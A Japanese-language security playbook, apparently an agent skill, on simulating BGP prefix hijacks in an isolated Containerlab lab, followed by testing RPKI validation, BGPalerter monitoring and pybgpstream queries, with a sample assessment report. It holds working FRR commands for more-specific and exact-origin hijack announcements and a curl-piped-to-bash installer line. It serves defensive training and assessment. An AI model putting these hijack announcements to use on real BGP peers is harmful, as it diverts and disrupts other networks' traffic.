exploiting-bgp-hijacking-vulnerabilities

BGP ハイジャックの脆弱性を悪用する

使用する場面

• 組織が BGP プレフィックスハイジャックや経路リーク攻撃にさらされるリスクを評価する場合
• RPKI（Resource Public Key Infrastructure）の導入状況と、経路オリジン検証の有効性をテストする場合
• BGP 監視・アラートシステムが不正な経路アナウンスを検出することを検証する場合
• 隔離されたラボ環境で BGP ハイジャックをシミュレートし、ネットワーク運用チームを訓練する場合
• ISP のプレフィックスフィルタリングと経路オリジン認可（ROA）の設定を評価する場合

使用しないでください。実際の BGP ハイジャックをライブインターネット上で実行する場合、許可なく BGP ピアに対して実行する場合、または実際のインターネットルーティングインフラを妨害する場合は使用しないでください。本番システムに対する BGP 攻撃は違法であり、インターネット全体に広範な障害を引き起こす可能性があります。

前提条件

• 仮想ルーター（FRRouting、BIRD、または Cisco IOS）を使用した、GNS3、EVE-NG、または Containerlab による隔離 BGP ラボ環境
• BGP パス属性、AS パス、プレフィックスアナウンス、経路選択に関する理解
• 実際の経路状況を監視するための、BGP looking glass サーバーと RPKI バリデーターへのアクセス
• 経路監視用の bgpstream、RIPEstat、BGPalerter ツール
• 実際の AS 番号またはプレフィックスアナウンスを伴うテストを実施するための書面による許可

ワークフロー

ステップ 1：隔離された BGP ラボ環境を構築する

# Install Containerlab for BGP simulation
sudo bash -c "$(curl -sL https://get.containerlab.dev)"

# Create a BGP lab topology file
cat > bgp-lab.clab.yml << 'EOF'
name: bgp-hijack-lab
topology:
  nodes:
    # Legitimate AS (AS65001) announcing 10.0.0.0/24
    legitimate-router:
      kind: linux
      image: frrouting/frr:v8.5.0
      binds:
        - legitimate-frr.conf:/etc/frr/frr.conf
    # Attacker AS (AS65002) that will hijack the prefix
    attacker-router:
      kind: linux
      image: frrouting/frr:v8.5.0
      binds:
        - attacker-frr.conf:/etc/frr/frr.conf
    # Transit provider (AS65000) connecting both
    transit-router:
      kind: linux
      image: frrouting/frr:v8.5.0
      binds:
        - transit-frr.conf:/etc/frr/frr.conf
    # Victim network receiving routes
    victim-router:
      kind: linux
      image: frrouting/frr:v8.5.0
      binds:
        - victim-frr.conf:/etc/frr/frr.conf
  links:
    - endpoints: ["legitimate-router:eth1", "transit-router:eth1"]
    - endpoints: ["attacker-router:eth1", "transit-router:eth2"]
    - endpoints: ["transit-router:eth3", "victim-router:eth1"]
EOF

# Configure legitimate router (AS65001)
cat > legitimate-frr.conf << 'EOF'
frr defaults traditional
hostname legitimate-router
router bgp 65001
 bgp router-id 1.1.1.1
 neighbor 10.0.1.2 remote-as 65000
 address-family ipv4 unicast
  network 10.0.0.0/24
  neighbor 10.0.1.2 activate
 exit-address-family
!
interface eth1
 ip address 10.0.1.1/30
!
interface lo
 ip address 10.0.0.1/24
EOF

# Configure attacker router (AS65002) -- initially not announcing the prefix
cat > attacker-frr.conf << 'EOF'
frr defaults traditional
hostname attacker-router
router bgp 65002
 bgp router-id 2.2.2.2
 neighbor 10.0.2.2 remote-as 65000
 address-family ipv4 unicast
  neighbor 10.0.2.2 activate
 exit-address-family
!
interface eth1
 ip address 10.0.2.1/30
EOF

# Deploy the lab
sudo containerlab deploy -t bgp-lab.clab.yml

ステップ 2：正規の BGP ルーティングを確認する

# Connect to victim router and verify route to 10.0.0.0/24
docker exec -it clab-bgp-hijack-lab-victim-router vtysh -c "show ip bgp"
docker exec -it clab-bgp-hijack-lab-victim-router vtysh -c "show ip route 10.0.0.0/24"

# Expected: Route via AS65000 AS65001 (legitimate path)
# Verify traceroute follows the legitimate path
docker exec -it clab-bgp-hijack-lab-victim-router traceroute 10.0.0.1

# Check BGP table on transit router
docker exec -it clab-bgp-hijack-lab-transit-router vtysh -c "show ip bgp 10.0.0.0/24"

ステップ 3：プレフィックスハイジャック（より具体的な経路）をシミュレートする

# On the attacker router, announce more-specific prefixes
docker exec -it clab-bgp-hijack-lab-attacker-router vtysh << 'VTYSH'
configure terminal
router bgp 65002
 address-family ipv4 unicast
  network 10.0.0.0/25
  network 10.0.0.128/25
 exit-address-family
!
interface lo
 ip address 10.0.0.1/25
 ip address 10.0.0.129/25
exit
end
write memory
VTYSH

# Verify the hijack on the victim router
docker exec -it clab-bgp-hijack-lab-victim-router vtysh -c "show ip bgp 10.0.0.0/24 longer-prefixes"

# The victim should now prefer the /25 routes via the attacker
# because more-specific routes always win in IP routing
docker exec -it clab-bgp-hijack-lab-victim-router vtysh -c "show ip route 10.0.0.1"
# Expected: Route now via AS65000 AS65002 (attacker)

ステップ 4：AS パスプリペンドとオリジンハイジャックをシミュレートする

# Origin hijack: Attacker announces the exact /24 prefix
docker exec -it clab-bgp-hijack-lab-attacker-router vtysh << 'VTYSH'
configure terminal
router bgp 65002
 address-family ipv4 unicast
  network 10.0.0.0/24
  no network 10.0.0.0/25
  no network 10.0.0.128/25
 exit-address-family
end
write memory
VTYSH

# Check which route the victim prefers
# With equal prefix length, shortest AS path wins
docker exec -it clab-bgp-hijack-lab-victim-router vtysh -c "show ip bgp 10.0.0.0/24"
# Both routes visible, attacker may win based on AS path length

# Analyze how BGP path selection determines the winner
docker exec -it clab-bgp-hijack-lab-transit-router vtysh -c "show ip bgp 10.0.0.0/24 bestpath-compare"

ステップ 5：RPKI 経路オリジン検証をテストする

# Set up RPKI validator (Routinator)
docker run -d --name routinator \
  -p 3323:3323 -p 8323:8323 \
  nlnetlabs/routinator:latest

# Configure transit router to use RPKI validation
docker exec -it clab-bgp-hijack-lab-transit-router vtysh << 'VTYSH'
configure terminal
rpki
 rpki cache 172.17.0.1 3323 preference 1
exit
!
route-map RPKI-FILTER permit 10
 match rpki valid
!
route-map RPKI-FILTER deny 20
 match rpki invalid
!
route-map RPKI-FILTER permit 30
 match rpki notfound
!
router bgp 65000
 address-family ipv4 unicast
  neighbor 10.0.2.1 route-map RPKI-FILTER in
 exit-address-family
end
write memory
VTYSH

# Verify RPKI status
docker exec -it clab-bgp-hijack-lab-transit-router vtysh -c "show rpki prefix-table"
docker exec -it clab-bgp-hijack-lab-transit-router vtysh -c "show ip bgp 10.0.0.0/24"
# Attacker's announcement should be marked as RPKI Invalid if ROA exists

ステップ 6：BGP の異常を監視・検出する

# Install BGPalerter for real-time monitoring
npm install -g bgpalerter
bgpalerter generate -o /etc/bgpalerter

# Configure BGPalerter to monitor your prefixes
cat > /etc/bgpalerter/prefixes.yml << 'EOF'
10.0.0.0/24:
  description: Production Network
  asn: 65001
  ignoreMorespecifics: false
  group: production
EOF

# Start monitoring
bgpalerter

# Use bgpstream to query historical routing data
pip3 install pybgpstream

python3 << 'PYEOF'
import pybgpstream

# Query for historical prefix announcements
stream = pybgpstream.BGPStream(
    from_time="2024-03-14 00:00:00",
    until_time="2024-03-15 00:00:00",
    collectors=["route-views2", "rrc00"],
    record_type="updates",
    filter="prefix more 10.0.0.0/24"
)

for rec in stream.records():
    for elem in rec:
        if elem.type == "A":  # Announcement
            print(f"Time: {elem.time}")
            print(f"Prefix: {elem.fields['prefix']}")
            print(f"AS Path: {elem.fields['as-path']}")
            print(f"Peer: {elem.peer_asn}")
            print("---")
PYEOF

# Check RPKI status via RIPEstat
curl -s "https://stat.ripe.net/data/rpki-validation/data.json?resource=AS65001&prefix=10.0.0.0/24" | python3 -m json.tool

主な概念

用語	定義
BGP ハイジャック	所有していない IP プレフィックスを AS が不正にアナウンスし、攻撃者のネットワーク経由でトラフィックを転送すること
より具体的な経路によるハイジャック	被害者のプレフィックスより長い（より具体的な）プレフィックスをアナウンスすること。最長プレフィックス一致のルールにより、IP ルーティングでは常に優先されます
RPKI（Resource PKI）	ルートオリジン認可（ROA）を通じて、IP プレフィックスの保有者が特定の ASN に経路の起点となることを許可できる暗号技術のフレームワーク
経路オリジン認可（ROA）	特定の IP プレフィックスを特定の AS が起点としてアナウンスすることを認可する電子署名付きオブジェクト。RPKI に基づく経路検証を可能にします
AS パスプリペンド	経路の優先度を下げるため、AS パスに重複した AS 番号を追加する BGP の手法。ハイジャックへの防御にも使用されます
経路リーク	顧客がトランジットプロバイダーの経路を他のプロバイダーに再アナウンスする場合など、意図された範囲を超えて BGP ルーティングアナウンスが伝播すること

ツールとシステム

• Containerlab：Docker コンテナを使用して仮想ルーターのトポロジーを展開するネットワークラボオーケストレーションツール
• FRRouting（FRR）：RPKI 検証機能を備え、BGP、OSPF、IS-IS をサポートするオープンソースのルーティングスイート
• BGPalerter：プレフィックスハイジャック、経路リーク、RPKI ステータスの変化を検出するリアルタイム BGP 監視ツール
• Routinator：ROA を検証し、検証済みのプレフィックスとオリジンのデータをルーターに提供する RPKI Relying Party ソフトウェア
• pybgpstream：RouteViews および RIPE RIS コレクターから取得した過去およびリアルタイムの BGP データを分析する Python ライブラリ

よくあるシナリオ

シナリオ：組織のBGPハイジャック耐性の評価

コンテキスト：クラウドホスティング企業（AS12345）は、顧客向けサービス用に203.0.113.0/24をアナウンスしています。BGPハイジャック攻撃に対する耐性を評価し、RPKIの導入が有効であることを確認する必要があります。この評価では、ラボでのシミュレーションと実環境でのモニタリング検証を行います。

アプローチ：

1. 2つの上流ISPとの組織のBGPピアリングを再現するContainerlabトポロジーを構築します
2. RIPEstatを使用して、組織のすべてのプレフィックスに対するROAレコードが正しく公開されていることを確認します
3. 不正なASからの、より具体的なプレフィックス（/25）のハイジャックをシミュレーションし、RPKI検証を行う上流ISPが無効なルートを破棄することを確認します
4. オリジンを完全に一致させたハイジャックをシミュレーションし、RPKI ROVがルートを無効と判定することを確認します
5. 顧客ASがプロバイダーのプレフィックスを再アナウンスするルートリークのシナリオをテストします
6. BGPalerterを本番環境に導入し、許可されていないアナウンスを継続的に監視します
7. 組織のISPで、適切なプレフィックスフィルタリング（IRRベースおよびRPKI）が設定されていることを確認します

落とし穴：

• 隔離されたラボ環境ではなく、実際のインターネットインフラでBGPハイジャックをテストすること
• RPKIだけですべてのハイジャックを防止できると思い込むこと――RPKI検証を行っていないネットワークはまだ数多くあります
• ROAに最大長が設定されていない場合、オリジン検証を回避できる、より具体的なプレフィックスのアナウンスをテストしないこと
• 許可されたピアが意図せずルートを再配布するルートリークのシナリオを見落とすこと

出力形式

## BGP Security Assessment Report

**Organization**: Cloud Hosting Co. (AS12345)
**Prefixes Assessed**: 203.0.113.0/24, 198.51.100.0/24
**Assessment Date**: 2024-03-15

### RPKI Status

| Prefix | ROA Exists | Max Length | Origin AS | Status |
|--------|-----------|------------|-----------|--------|
| 203.0.113.0/24 | Yes | /24 | AS12345 | Valid |
| 198.51.100.0/24 | No | N/A | AS12345 | Not Found |

### Lab Simulation Results

| Attack Type | RPKI Validation | Result |
|-------------|-----------------|--------|
| More-specific /25 hijack | Enabled | BLOCKED (Invalid origin) |
| More-specific /25 hijack | Disabled | SUCCESSFUL (traffic diverted) |
| Exact-match origin hijack | Enabled | BLOCKED (Invalid origin) |
| Route leak via customer | Enabled | NOT BLOCKED (valid origin, wrong path) |

### Recommendations
1. Create ROA for 198.51.100.0/24 (currently unprotected)
2. Set max-length to /24 in ROAs to prevent more-specific hijacks
3. Request upstream ISPs enable RPKI Route Origin Validation
4. Deploy BGPalerter for continuous prefix monitoring
5. Register with IRR databases and request prefix filtering from peers